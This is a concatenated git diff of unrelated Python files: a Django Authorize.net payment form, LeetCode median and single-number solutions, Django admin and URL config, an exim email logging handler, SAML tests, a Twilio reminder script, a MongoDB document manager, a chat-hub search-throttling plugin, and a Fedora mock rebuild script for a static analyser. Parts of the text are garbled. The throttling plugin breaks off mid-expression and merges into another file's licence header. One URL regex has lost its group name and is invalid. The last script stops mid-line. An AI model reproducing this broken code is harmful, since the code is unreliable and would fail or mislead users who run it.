Date") + card_code = CreditCardCVV2Field(label="Card Security Code") + + def __init__(self, *args, **kwargs): + self.customer = kwargs.pop('customer', None) + return super(CustomerPaymentForm, self).__init__(*args, **kwargs) + + def save(self, commit=True): + instance = super(CustomerPaymentForm, self).save(commit=False) + if self.customer: + instance.customer = self.customer + instance.card_code = self.cleaned_data.get('card_code') + if commit: + instance.save() + return instance + + class Meta: + model = CustomerPaymentProfile + fields = ('first_name', 'last_name', 'company', 'address', 'city', + 'state', 'country', 'zip', 'card_number', + 'expiration_date', 'card_code') + + +class CustomerPaymentAdminForm(CustomerPaymentForm): + class Meta(CustomerPaymentForm.Meta): + fields = ('customer',) + CustomerPaymentForm.Meta.fields + + +class HostedCIMProfileForm(forms.Form): + token = forms.CharField(widget=forms.HiddenInput) + def __init__(self, token, *args, **kwargs): + super(HostedCIMProfileForm, self).__init__(*args, **kwargs) + self.fields['token'].initial = token + if settings.DEBUG: + self.action = "https://test.authorize.net/profile/manage" + else: + self.action = "https://secure.authorize.net/profile/manage" + + + +def get_test_exp_date(): + from datetime import date, timedelta + test_date = date.today() + timedelta(days=365) + return test_date.strftime('%m%y') diff --git a/pool/shard009/Python/0080810_004_median_of_two_sorted_arrays.py b/pool/shard009/Python/0080810_004_median_of_two_sorted_arrays.py new file mode 100644 index 0000000000000000000000000000000000000000..dd9da7c1dbace596415065ff30680e30899e6c11 --- /dev/null +++ b/pool/shard009/Python/0080810_004_median_of_two_sorted_arrays.py @@ -0,0 +1,120 @@ +"""Median of Two Sorted Arrays +There are two sorted arrays nums1 and nums2 of size m and n respectively. + +Find the median of the two sorted arrays. The overall run time complexity should be O(log (m+n)). + +Example 1: +nums1 = [1, 3] +nums2 = [2] + +The median is 2.0 +Example 2: +nums1 = [1, 2] +nums2 = [3, 4] + +The median is (2 + 3)/2 = 2.5 + +Refer https://leetcode.com/problems/median-of-two-sorted-arrays/ +""" + + +class Solution(object): + + def findMedianSortedArrays(self, nums1, nums2): + """ + :type nums1: List[int] + :type nums2: List[int] + :rtype: float + + O(m + n) + """ + nums1_len = len(nums1) + nums2_len = len(nums2) + mid = int((nums1_len + nums2_len) / 2) + 1 + even = True + if (nums1_len + nums2_len) % 2 == 1: + even = False + result = [] + i, j, = 0, 0 + while True: + if i < nums1_len and j < nums2_len and nums1[i] <= nums2[j]: + result.append(nums1[i]) + i += 1 + elif i < nums1_len and j < nums2_len and nums1[i] > nums2[j]: + result.append(nums2[j]) + j += 1 + elif i < nums1_len and j >= nums2_len: + result.append(nums1[i]) + i += 1 + elif i >= nums1_len and j < nums2_len: + result.append(nums2[j]) + j += 1 + if len(result) == mid: + break + + if even: + return (result[-1] + result[-2]) / 2.0 + return result[-1] * 1.0 + + +class SolutionB(object): + + def findMedianSortedArrays(self, nums1, nums2): + """ + :type nums1: List[int] + :type nums2: List[int] + :rtype: float + + O(lg(m+n)) + """ + + def search(l1, l2, k): + if len(l1) == 0: + return l2[k] + if len(l2) == 0: + return l1[k] + if k == 0: + return min(l1[k], l2[k]) + mid1 = len(l1) >> 1 + mid2 = len(l2) >> 1 + if mid1 + mid2 < k: + if l1[mid1] > l2[mid2]: + return search(l1, l2[mid2 + 1:], k - mid2 - 1) + return search(l1[mid1 + 1:], l2, k - mid1 - 1) + else: + if l1[mid1] > l2[mid2]: + return search(l1[:mid1], l2, k) + return search(l1, l2[:mid2], k) + + leng = len(nums1) + len(nums2) + if leng % 2 == 0: + return (search(nums1, nums2, leng >> 1) + search(nums1, nums2, (leng >> 1) - 1)) / 2.0 + return search(nums1, nums2, leng >> 1) + + +class SolutionC(object): + + def findMedianSortedArrays(self, a, b): + """ + :type nums1: List[int] + :type nums2: List[int] + :rtype: float + """ + c = a + b + c.sort() + m = len(c) / 2 + mm = len(c) % 2 + if mm > 0: + return c[m] + return (c[m - 1] + c[m]) / 2.0 + + +if __name__ == '__main__': + s = Solution() + nums1 = [1, 3, 4, 5] + nums2 = [2] + print(s.findMedianSortedArrays(nums1, nums2)) + + nums1 = [1, 2, 4, 5, 6, 7] + nums2 = [3, 4, 5, 6] + print(s.findMedianSortedArrays(nums1, nums2)) diff --git a/pool/shard009/Python/0080816_admin.py b/pool/shard009/Python/0080816_admin.py new file mode 100644 index 0000000000000000000000000000000000000000..8948b297ac4e18054158962ae7c020568bdfec03 --- /dev/null +++ b/pool/shard009/Python/0080816_admin.py @@ -0,0 +1,39 @@ +# -*- coding: utf-8 -*- +""" +Map des modèles de données dans l'administration de Django +""" +from django.contrib import admin +from models import * + +class ThreadAdmin(admin.ModelAdmin): + def save_model(self, request, obj, form, change): + """ + Surclasse la méthode de sauvegarde de l'admin du modèle pour y + rajouter automatiquement l'auteur qui créé l'objet + """ + instance = form.save(commit=False) + if not(instance.created): + instance.author = request.user + instance.save() + form.save_m2m() + + return instance + +class PostAdmin(admin.ModelAdmin): + def save_model(self, request, obj, form, change): + """ + Surclasse la méthode de sauvegarde de l'admin du modèle pour y + rajouter automatiquement l'auteur qui créé l'objet + """ + instance = form.save(commit=False) + if not(instance.created): + instance.author = request.user + instance.save() + form.save_m2m() + + return instance + +admin.site.register(Category) +admin.site.register(ThreadWatch) +admin.site.register(Thread, ThreadAdmin) +admin.site.register(Post, PostAdmin) diff --git a/pool/shard009/Python/0080821_136.py b/pool/shard009/Python/0080821_136.py new file mode 100644 index 0000000000000000000000000000000000000000..475fcbed6d429025cc0d7781a3b5bd3ad80b9865 --- /dev/null +++ b/pool/shard009/Python/0080821_136.py @@ -0,0 +1,29 @@ +import unittest +import sys +sys.path.append('./') + +solutions = __import__('solutions.136_single_number', fromlist='*') + + +class Test(unittest.TestCase): + + def test_singleNumber(self): + s = solutions.Solution() + + nums = [1, 2, 3, 3, 2] + self.assertEqual(s.singleNumber(nums), 1) + + + nums = [1, 2, 3, 3, 2, 4, 4, 1, 5] + self.assertEqual(s.singleNumber(nums), 5) + + nums = [1, 2, 3, 3, 2, 4, 4, 1, 5, -1, 5] + self.assertEqual(s.singleNumber(nums), -1) + + nums = [1] + self.assertEqual(s.singleNumber(nums), 1) + + +if __name__ == '__main__': + unittest.main() + diff --git a/pool/shard009/Python/0080823_babybuddy_tags.py b/pool/shard009/Python/0080823_babybuddy_tags.py new file mode 100644 index 0000000000000000000000000000000000000000..e1a7c0e0ba0d8a35c636c727a826150f2058508f --- /dev/null +++ b/pool/shard009/Python/0080823_babybuddy_tags.py @@ -0,0 +1,52 @@ +# -*- coding: utf-8 -*- +from django import template +from django.apps import apps +from django.utils.translation import to_locale, get_language + +from core.models import Child + +register = template.Library() + + +@register.simple_tag(takes_context=True) +def relative_url(context, field_name, value): + """ + Create a relative URL with an updated field value. + + :param context: current request content. + :param field_name: the field name to update. + :param value: the new value for field_name. + :return: encoded relative url with updated query string. + """ + url = '?{}={}'.format(field_name, value) + querystring = context['request'].GET.urlencode().split('&') + filtered_querystring = filter( + lambda p: p.split('=')[0] != field_name, querystring) + encoded_querystring = '&'.join(filtered_querystring) + return '{}&{}'.format(url, encoded_querystring) + + +@register.simple_tag() +def version_string(): + """ + Get Baby Buddy's current version string. + + :return: version string ('n.n.n (commit)'). + """ + config = apps.get_app_config('babybuddy') + return config.version_string + + +@register.simple_tag() +def get_current_locale(): + """ + Get the current language's locale code. + + :return: locale code (e.g. 'de', 'fr', etc.). + """ + return to_locale(get_language()) + + +@register.simple_tag() +def get_child_count(): + return Child.count() diff --git a/pool/shard009/Python/0080824_eventemitter_tests.py b/pool/shard009/Python/0080824_eventemitter_tests.py new file mode 100644 index 0000000000000000000000000000000000000000..92d3231650ec00210ca302ed5a3eb3d84b79c7ec --- /dev/null +++ b/pool/shard009/Python/0080824_eventemitter_tests.py @@ -0,0 +1,80 @@ +from simulations.utils.eventemitter import EventEmitter + +from nose.tools import assert_equal + +class TestEventEmitter: + + def setUp(self): + self.emitter = EventEmitter() + self.result = None + + def tearDown(self): + pass + + def test_add_remove(self): + assert_equal(self.emitter.listeners('test'), []) + assert_equal(self.emitter.on('test', 1), self.emitter) + assert_equal(self.emitter.listeners('test'), [1]) + assert_equal(self.emitter.on('test', 2), self.emitter) + assert_equal(self.emitter.listeners('test'), [1,2]) + assert_equal(self.emitter.add_listener('test', 3), self.emitter) + assert_equal(self.emitter.listeners('test'), [1,2,3]) + assert_equal(self.emitter.add_listener('test', 4), self.emitter) + assert_equal(self.emitter.listeners('test'), [1,2,3,4]) + assert_equal(self.emitter.remove_listener('test', 3), self.emitter) + assert_equal(self.emitter.listeners('test'), [1,2,4]) + assert_equal(self.emitter.remove_all_listeners('test'), self.emitter) + assert_equal(self.emitter.listeners('test'), []) + + for i in range(11): + self.emitter.on('test', i) + + assert_equal(self.emitter.listeners('test'), range(11)) + + def test_emit(self): + assert self.result is None, "self.result is not None" + + def test(this): + this.result = 1 + + self.emitter.on('test', test) + assert_equal(self.emitter.listeners('test'), [test]) + + assert_equal(self.emitter.emit('test', self), self.emitter) + assert_equal(self.emitter.listeners('test'), [test]) + assert_equal(self.result, 1) + + def test_once(self): + assert self.result is None, "self.result is not None" + + def test(this): + if this.result is None: + this.result = 0 + + this.result += 1 + + assert_equal(self.emitter.on('test', test), self.emitter) + assert_equal(self.emitter.once('test', test), self.emitter) + + assert_equal(self.emitter.listeners('test')[0], test) + assert_equal(len(self.emitter.listeners('test')), 2) + + self.emitter.emit('test', self) + assert_equal(self.result, 2) + assert_equal(self.emitter.listeners('test'), [test]) + + self.emitter.emit('test', self) + assert_equal(self.result, 3) + assert_equal(self.emitter.listeners('test'), [test]) + + def test_max_listeners(self): + assert_equal(self.emitter._max_listeners, 10) + assert_equal(self.emitter.set_max_listeners(12), self.emitter) + assert_equal(self.emitter._max_listeners, 12) + + def test_remove_notthere(self): + assert_equal(self.emitter.listeners('test'), []) + try: + assert_equal(self.emitter.remove_listener('test', 2), self.emitter) + except ValueError: + assert False, "Threw an error when trying to remove a non-existent listener" diff --git a/pool/shard009/Python/0080826_ica.py b/pool/shard009/Python/0080826_ica.py new file mode 100644 index 0000000000000000000000000000000000000000..21a7cfa8895963760742dcc32c3374578df3eee4 --- /dev/null +++ b/pool/shard009/Python/0080826_ica.py @@ -0,0 +1,63 @@ +# Copyright 2014 Diamond Light Source Ltd. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +""" +.. module:: ica + :platform: Unix + :synopsis: A plugin to fit peaks + +.. moduleauthor:: Aaron Parsons + +""" +import logging +from savu.plugins.utils import register_plugin +from savu.plugins.filters.base_component_analysis import BaseComponentAnalysis +from sklearn.decomposition import FastICA +import numpy as np + + +@register_plugin +class Ica(BaseComponentAnalysis): + """ + This plugin performs independent component analysis on XRD/XRF spectra. + :param w_init: The initial mixing matrix. Default: None. + :param random_state: The state. Default: 1. + """ + + def __init__(self): + super(Ica, self).__init__("Ica") + + def filter_frames(self, data): + logging.debug("I am starting the old componenty vous") + data = data[0] + sh = data.shape + newshape = (np.prod(sh[:-1]), sh[-1]) + print "The shape of the data is:"+str(data.shape) + str(newshape) + data = np.reshape(data, (newshape)) + # data will already be shaped correctly + logging.debug("Making the matrix") + ica = FastICA(n_components=self.parameters['number_of_components'], + algorithm='parallel', + whiten=self.parameters['whiten'], + w_init=self.parameters['w_init'], + random_state=self.parameters['random_state']) + logging.debug("Performing the fit") + data = self.remove_nan_inf(data) #otherwise the fit flags up an error for obvious reasons + S_ = ica.fit_transform(data) + print "S_Shape is:"+str(S_.shape) + print "self.images_shape:"+str(self.images_shape) + scores = np.reshape(S_, (self.images_shape)) + eigenspectra = ica.components_ + logging.debug("mange-tout") + return [scores, eigenspectra] diff --git a/pool/shard009/Python/0080827_urls.py b/pool/shard009/Python/0080827_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..9b79a3522454f92d5b78404c74860ade953b3faa --- /dev/null +++ b/pool/shard009/Python/0080827_urls.py @@ -0,0 +1,13 @@ +from django.conf.urls import url + +from parcel import views + + +urlpatterns = [ + url(r'register/$', views.register, name='parcel_register'), + url(r'load/$', views.load, name='parcel_load'), + url(r'arrival/$', views.arrival, name='parcel_arrival'), + url(r'arrived/$', views.arrived_parcels, name='parcel_arrived'), + url(r'pickup/(?P\d+)/$', views.pickup, name='parcel_pickup'), + url(r'status/$', views.status, name='parcel_status'), +] diff --git a/pool/shard009/Python/0080831_eximhandler.py b/pool/shard009/Python/0080831_eximhandler.py new file mode 100644 index 0000000000000000000000000000000000000000..cc99a027d35e7348e2abee26593a0cc5393e7270 --- /dev/null +++ b/pool/shard009/Python/0080831_eximhandler.py @@ -0,0 +1,56 @@ +import logging +from subprocess import Popen, PIPE + + +class EximHandler(logging.Handler): + """ + A handler class which sends an email using exim for each logging event. + """ + def __init__(self, toaddr, subject, exim_path="/usr/sbin/exim"): + """ + Initialize the handler. + """ + logging.Handler.__init__(self) + self.toaddr = toaddr + self.subject = subject + self.exim_path = exim_path + + def get_subject(self, record): + """ + Determine the subject for the email. + + If you want to specify a subject line which is record-dependent, + override this method. + """ + return self.subject + + def emit(self, record): + """ + Emit a record. + + Format the record and send it to the specified address. + """ + subject = self.get_subject(record) + body = self.format(record) + try: + proc1 = Popen( + ['echo', '-e', 'Subject: %s\n\n%s' % (subject, body)], + stdout=PIPE + ) + + proc2 = Popen( + [self.exim_path, '-odf', '-i', self.toaddr], + stdin=proc1.stdout, stdout=PIPE + ) + + # Allow proc1 to receive a SIGPIPE if proc2 exits. + proc1.stdout.close() + + # Wait for proc2 to exit + proc2.communicate() + + except (KeyboardInterrupt, SystemExit): + raise + + except Exception: + self.handleError(record) diff --git a/pool/shard009/Python/0080842_test_62_vo.py b/pool/shard009/Python/0080842_test_62_vo.py new file mode 100644 index 0000000000000000000000000000000000000000..43c3c2db08527eea344e006af50f1cc2d15c01c3 --- /dev/null +++ b/pool/shard009/Python/0080842_test_62_vo.py @@ -0,0 +1,79 @@ +__author__ = 'rolandh' + +from saml2.virtual_org import VirtualOrg +from saml2 import config +from saml2.client import Saml2Client +from saml2.time_util import str_to_time, in_a_while + +SESSION_INFO_PATTERN = {"ava":{}, "came from":"", "not_on_or_after":0, + "issuer":"", "session_id":-1} + +def add_derek_info(sp): + not_on_or_after = str_to_time(in_a_while(days=1)) + session_info = SESSION_INFO_PATTERN.copy() + session_info["ava"] = {"givenName":["Derek"], "umuselin":["deje0001"]} + session_info["issuer"] = "https://toylan3.umdc.umu.se/shibboleth" + session_info["name_id"] = "abcdefgh" + session_info["not_on_or_after"] = not_on_or_after + # subject_id, entity_id, info, timestamp + sp.users.add_information_about_person(session_info) + +class TestVirtualOrg(): + def setup_class(self): + conf = config.SPConfig() + conf.load_file("server_conf") + self.sp = Saml2Client(conf) + + vo_name = conf.virtual_organization.keys()[0] + self.vo = VirtualOrg(self.sp, vo_name) + add_derek_info(self.sp) + + def test_mta(self): + aas = self.vo.members_to_ask("abcdefgh") + print aas + assert len(aas) == 2 + assert 'urn:mace:example.com:saml:aa' in aas + assert 'urn:mace:example.com:saml:idp' in aas + + def test_unknown_subject(self): + aas = self.vo.members_to_ask("01234567") + print aas + assert len(aas) == 0 + + def test_id(self): + id = self.vo.get_common_identifier("abcdefgh") + print id + assert id == "deje0001" + + def test_id_unknown(self): + id = self.vo.get_common_identifier("01234567") + assert id is None + +class TestVirtualOrg_2(): + def setup_class(self): + conf = config.SPConfig() + conf.load_file("server_conf") + vo_name = conf.virtual_organization.keys()[0] + self.sp = Saml2Client(conf, virtual_organization=vo_name) + add_derek_info(self.sp) + + def test_mta(self): + aas = self.sp.vorg.members_to_ask("abcdefgh") + print aas + assert len(aas) == 2 + assert 'urn:mace:example.com:saml:aa' in aas + assert 'urn:mace:example.com:saml:idp' in aas + + def test_unknown_subject(self): + aas = self.sp.vorg.members_to_ask("01234567") + print aas + assert len(aas) == 0 + + def test_id(self): + id = self.sp.vorg.get_common_identifier("abcdefgh") + print id + assert id == "deje0001" + + def test_id_unknown(self): + id = self.sp.vorg.get_common_identifier("01234567") + assert id is None diff --git a/pool/shard009/Python/0080845_fuckit_commit.py b/pool/shard009/Python/0080845_fuckit_commit.py new file mode 100644 index 0000000000000000000000000000000000000000..42d7d3d6a2da76b06b0fceaf960a5d6234867202 --- /dev/null +++ b/pool/shard009/Python/0080845_fuckit_commit.py @@ -0,0 +1,45 @@ +''' +This module will send SMS reminders periodically, using Twilio. +The aim is to encourage user to code, commit and push to GitHub everyday + +To set up SMS reminders, user has to have a Twilio account and a GitHub +username. From the Twilio account, the SID, auth_token, number to send from +and number to send to are required. This twilio info and the github username +can be filled in the configuration.json file. Once that is done, user can set +up a cron job on his/her server for periodic SMS reminders +''' + +import requests +from twilio.rest import TwilioRestClient +from datetime import datetime, date +import json + +def get_config_info(): + with open('configuration.json') as f: + data = json.load(f) + return data + +def send_sms(twilio_info): + ''' + Send SMS reminder + ''' + client = TwilioRestClient(twilio_info['sid'], twilio_info['auth_token']) + message = client.messages.create(to=twilio_info["number_to"], from_=twilio_info["number_from"], + body="You need to commit today!!!\nFuck it!!! Commit!!!") +def check_commit_activity(github_info): + ''' + Check if there was any change in the commit history of the user. If date of + latest event is the same as current date, commit was made, hence return True + else return False. Returning False triggers sending of an SMS reminder + ''' + get_recent_event = requests.get("https://api.github.com/users/%s/events/public" % github_info['username']) + event_date = datetime.strptime(get_recent_event.json()[0]['created_at'].split('T')[0], '%Y-%m-%d').date() + return event_date == date.today() + +def main(): + config = get_config_info() + if not check_commit_activity(config['github']): + send_sms(config['twilio']) + +if __name__ == "__main__": + main() diff --git a/pool/shard009/Python/0080847_mongo_doc_manager.py b/pool/shard009/Python/0080847_mongo_doc_manager.py new file mode 100644 index 0000000000000000000000000000000000000000..f686dd9bb130916b09db4b8b1673b772628eb752 --- /dev/null +++ b/pool/shard009/Python/0080847_mongo_doc_manager.py @@ -0,0 +1,144 @@ +# Copyright 2012 10gen, Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +# This file will be used with PyPi in order to package and distribute the final +# product. + +"""Receives documents from the oplog worker threads and indexes them + into the backend. + + This file is a document manager for MongoDB, but the intent + is that this file can be used as an example to add on different backends. + To extend this to other systems, simply implement the exact same class and + replace the method definitions with API calls for the desired backend. + """ + +import pymongo + +class DocManager(): + """The DocManager class creates a connection to the backend engine and + adds/removes documents, and in the case of rollback, searches for them. + + The reason for storing id/doc pairs as opposed to doc's is so that + multiple updates to the same doc reflect the most up to date version as + opposed to multiple, slightly different versions of a doc. + + We are using MongoDB native fields for _id and ns, but we also store + them as fields in the document, due to compatibility issues. + """ + + def __init__(self, url, unique_key='_id'): + """ Verify URL and establish a connection. + """ + try: + self.mongo = pymongo.Connection(url) + except pymongo.errors.InvalidURI: + raise SystemError + except pymongo.errors.ConnectionFailure: + raise SystemError + self.unique_key = unique_key + + def stop(self): + """Stops any running threads + """ + pass + + def upsert(self, doc): + """Update or insert a document into Mongo + """ + database, coll = doc['ns'].split('.', 1) + try: + self.mongo[database][coll].save(doc) + except pymongo.errors.OperationFailure: + raise SystemError + + def remove(self, doc): + """Removes document from Mongo + + The input is a python dictionary that represents a mongo document. + The documents has ns and _ts fields. + """ + database, coll = doc['ns'].split('.', 1) + self.mongo[database][coll].remove( + {self.unique_key: doc[self.unique_key]}) + + def search(self, start_ts, end_ts): + """Called to query Mongo for documents in a time range. + """ + search_set = [] + db_list = self.mongo.database_names() + for database in db_list: + if database == "config" or database == "local": + continue + coll_list = self.mongo[database].collection_names() + for coll in coll_list: + if coll.startswith("system"): + continue + namespace = str(database) + "." + str(coll) + search_set.append(namespace) + + res = [] + for namespace in search_set: + database, coll = namespace.split('.', 1) + target_coll = self.mongo[database][coll] + res.extend(list(target_coll.find({'_ts': {'$lte': end_ts, + '$gte': start_ts}}))) + + return res + + def commit(self): + """ Performs a commit + """ + return + + def get_last_doc(self): + """Returns the last document stored in Mongo. + """ + search_set = [] + db_list = self.mongo.database_names() + for database in db_list: + if database == "config" or database == "local": + continue + coll_list = self.mongo[database].collection_names() + for coll in coll_list: + if coll.startswith("system"): + continue + namespace = str(database) + "." + str(coll) + search_set.append(namespace) + + res = [] + for namespace in search_set: + database, coll = namespace.split('.', 1) + target_coll = self.mongo[database][coll] + res.extend(list(target_coll.find().sort('_ts', -1))) + + max_ts = 0 + max_doc = None + for item in res: + if item['_ts'] > max_ts: + max_ts = item['_ts'] + max_doc = item + + return max_doc + + def _remove(self): + """For test purposes only. Removes all documents in test.test + """ + self.mongo['test']['test'].remove() + + def _search(self): + """For test purposes only. Performs search on Elastic with empty query. + Does not have to be implemented. + """ + return list(self.mongo['test']['test'].find()) diff --git a/pool/shard009/Python/0080848_unsearch.py b/pool/shard009/Python/0080848_unsearch.py new file mode 100644 index 0000000000000000000000000000000000000000..a525f047557d882c17734b248a6fa0078ef39ac6 --- /dev/null +++ b/pool/shard009/Python/0080848_unsearch.py @@ -0,0 +1,97 @@ +#!/usr/bin/env python +#coding: utf-8 + +# --- unsearch plugin +# refuses often search requests - more than 1 in a minute +# --- + +import plugin +import yaml +import datetime +import time +import logging + +# --- !! Class name SHOULD BE FileName_plugin +class unsearch_plugin(plugin.plugin): +# i=0 + + def __init__(self, hub): + + # Don't forget replace 'name_plugin' here + super(unsearch_plugin,self).__init__(hub) + + + # --- SETTINGS FOR PLUGIN --- + #if 'name' not in self.hub.settings: + # self.hub.settings['name']={} +# if 'unsearch.db' not in self.hub.settings: + self.hub.settings['unsearch.db']=[] + + + self.db=self.hub.settings['unsearch.db'] + + # --- REGISTERING COMMANDS --- + self.commands['stime']=self.stime + + # --- REGISTERING SLOTS (On Event reaction) + self.slots['onSearch']=self.onSearch + self.slots['onSearchHub']=self.onSearch + self.slots['onSearchResult']=self.onSearchResult + + # --- REGISTERING USERCOMMANDS + #self.usercommands['?']='$UserCommand 1 2 '+hub._('MENU\\ITEM')+'$<%[mynick]> '+hub.core_settings['cmdsymbol']+'COMMAND %[nick] %[line:'+hub._('message')+':]||' + + #def COMMAND(self,addr,params=[]): + # #params 'nick' 'message' + # + # return RESULT_STRING + def onSearch( self, addr, sstr): +# logging.info('%s %s' % (addr,sstr) ) + ip=addr.split(':')[0] + if ip=='Hub': + ip=addr.split(':')[1] + ip=self.hub.nicks[ip].addr.split(':')[0] + ptime=len(self.hub.nicks)/5*3 +# logging.info('%s %s' % (_i,ptime) ) +# if (_i*30 +# Copyright 2012 Red Hat, Inc. +# +# This is free software: you can redistribute it and/or modify it +# under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see +# . + +import commands +import datetime +import glob +import os +import re +import shutil +from subprocess import check_output, Popen, PIPE +import sys +import webbrowser + +from bugreporting import NewBug, BugReportDb +from makeindex import Index + +def nvr_from_srpm_path(path): + filename = os.path.basename(path) + m = re.match('(.+)-(.+)-(.+).src.rpm', filename) + name, version, release = m.groups() + return name, version, release + +def get_local_python_srpms(): + """ + Extract a list of srpm names that require python 2 to build + """ + cmd = ['rpm', + '-q', + '--qf=%{sourcerpm}\\n', + '--whatrequires', + 'libpython2.7.so.1.0()(64bit)'] + out = check_output(cmd) + result = set() + for line in out.splitlines(): + m = re.match('(.+)-(.+)-(.+)', line) + name, version, release = m.groups() + result.add(name) + return sorted(result) + +#print(get_local_python_srpms()) +#sys.exit(0) + +""" +for srpmname in get_local_python_srpms(): + cmd = ['mock', + '-r', 'fedora-16-x86_64', + '--scm-enable', + '--scm-option', 'method=git', + '--scm-option', 'git_get="git clone SCM_BRN git://pkgs.fedoraproject.org/SCM_PKG.git SCM_PKG"', + '--scm-option', 'package=%s' % srpmname, + '-v'] + p = Popen(cmd) + p.communicate() +""" + +def get_result_dir(srpmpath): + n, v, r = nvr_from_srpm_path(srpmpath) + resultdir = 'LOGS/%s-%s-%s' % (n, v, r) + return resultdir + +def local_rebuild_of_srpm_in_mock(srpmpath, mockcfg): + """ + Rebuild the given SRPM locally within mock, injecting the cpychecker + code in RPM form; gathering the results to a subdir within "LOGS" + """ + def run_mock(commands, captureOut=False, captureErr=False): + cmds = ['mock', '-r', mockcfg, '--disable-plugin=ccache'] + commands + print('--------------------------------------------------------------') + print(' '.join(cmds)) + print('--------------------------------------------------------------') + args = {} + if captureOut: + args['stdout'] = PIPE + if captureErr: + args['stderr'] = PIPE + p = Popen(cmds, **args) + out, err = p.communicate() + return out, err + + resultdir = get_result_dir(srpmpath) + if os.path.exists(resultdir): + shutil.rmtree(resultdir) + os.mkdir(resultdir) + + # Experimenting with the script is much faster if we remove the --init here: + if 1: + run_mock(['--init']) + run_mock(['--installdeps', srpmpath]) + + # Install the pre-built plugin: + run_mock(['install', PLUGIN_PATH]) # this doesn't work when cleaned: can't open state.log + + # Copy up latest version of the libcpychecker code from this working copy + # overriding the copy from the pre-built plugin: + if 1: + for module in glob.glob('../../libcpychecker/*.py'): + HACKED_PATH='/usr/lib/gcc/x86_64-redhat-linux/4.6.2/plugin/python2/libcpychecker' + # FIXME: ^^ this will need changing + run_mock(['--copyin', module, HACKED_PATH]) + + # Override the real gcc/g++ with our fake ones, which add the necessary flags + # and then invokes the real one: + run_mock(['--chroot', 'mv /usr/bin/gcc /usr/bin/the-real-gcc']) + run_mock(['--chroot', 'mv /usr/bin/g++ /usr/bin/the-real-g++']) + run_mock(['--copyin', 'fake-gcc.py', '/usr/bin/gcc']) + run_mock(['--copyin', 'fake-g++.py', '/usr/bin/g++']) + + # Rebuild src.rpm, using the script: + run_mock(['--rebuild', srpmpath, + + '--no-clean', + + ]) + + # Extract build logs: + shutil.copy('/var/lib/mock/%s/result/build.log' % mockcfg, + resultdir) + + # Scrape out *refcount-errors.html: + BUILD_PREFIX='/builddir/build/BUILD' + out, err = run_mock(['chroot', + 'find %s -name *-refcount-errors.html' % BUILD_PREFIX], + captureOut=True) + for line in out.splitlines(): + if line.endswith('-refcount-errors.html'): + # Convert from e.g. + # '/builddir/build/BUILD/gst-python-0.10.19/gst/.libs/gstmodule.c.init_gst-refcount-errors.html' + # to: + # 'gst-python-0.10.19/gst/.libs/gstmodule.c.init_gst-refcount-errors.html" + dstPath = line[len(BUILD_PREFIX)+1:] + + # Place it within resultdir: + dstPath = os.path.join(resultdir, dstPath) + + # Lazily construct directory hierarchy: + dirPath = os.path.dirname(dstPath) + if not os.path.exists(dirPath): + os.makedirs(dirPath) + # Copy the file from the chroot to our result location: + run_mock(['--copyout', line, dstPath]) + +PLUGIN_PATH='gcc-python2-plugin-0.9-1.fc16.x86_64.rpm' +MOCK_CONFIG='fedora-16-x86_64' + +def prepare_bug_report(srpmpath, index): + srpmname, version, release = nvr_from_srpm_path(srpmpath) + + resultdir = get_result_dir(srpmpath) + # Open local copy of results for manual inspection: + webbrowser.open(os.path.join(resultdir, 'index.html')) + + today = datetime.date.today() + datestr = today.isoformat() # e.g. "2012-02-15" + + # Emit shell commands to be run. + # These aren't yet done automatically, since we really ought to have the + # manual review from above. + mkdircmd = 'ssh dmalcolm@fedorapeople.org mkdir public_html/gcc-python-plugin/%(datestr)s' % locals() + print(mkdircmd) + scpcmd = 'scp -r %(resultdir)s dmalcolm@fedorapeople.org:public_html/gcc-python-plugin/%(datestr)s' % locals() + print(scpcmd) + + reporturl = 'http://fedorapeople.org/~dmalcolm/gcc-python-plugin/%(datestr)s/%(srpmname)s-%(version)s-%(release)s/' % locals() + + gitversion = commands.getoutput('git rev-parse HEAD') + + # FIXME: + categorized_notes = '' + for sev, issues in index.iter_severities(): + categorized_notes += ('Within the category "%s" the %i issues reported\n' + % (sev.title, len(issues))) + for er in issues: + categorized_notes += ('%s:%s:%s\n' % (er.filename, er.function, er.errmsg)) + categorized_notes += '\n' + + comment = """ +Description of problem: +I've been writing an experimental static analysis tool to detect bugs commonly occurring within C Python extension modules: + https://fedorahosted.org/gcc-python-plugin/ + http://gcc-python-plugin.readthedocs.org/en/latest/cpychecker.html + http://fedoraproject.org/wiki/Features/StaticAnalysisOfPythonRefcounts + +I ran the latest version of the tool (in git master; post 0.9) on +%(srpmname)s-%(version)s-%(release)s.src.rpm, and it reports various errors. + +You can see a list of errors here, triaged into categories (from most significant to least significant): +%(reporturl)s + +I've manually reviewed the issues reported by the tool. + +FIXME: +%(categorized_notes)s + +There may of course be other bugs in my checker tool. + +Hope this is helpful; let me know if you need help reading the logs that the tool generates - I know that it could use some improvement. + +Version-Release number of selected component (if applicable): +%(srpmname)s-%(version)s-%(release)s +gcc-python-plugin post-0.9 git %(gitversion)s running the checker in an *f16* chroot +""" % locals() + + bug = NewBug(product='Fedora', + version='rawhide', + component=srpmname, + summary=('Bugs found in %s-%s-%s using gcc-with-cpychecker' + ' static analyzer' % (srpmname, version, release)), + comment=comment, + blocked=['cpychecker'], + bug_file_loc=reporturl) + bugurl = bug.make_url() + webbrowser.open(bugurl) + +# Rebuild all src.rpm files found in "SRPMS" as necessary: +if 1: + for srpmpath in sorted(glob.glob('SRPMS/*.src.rpm')): + srpmname, version, release = 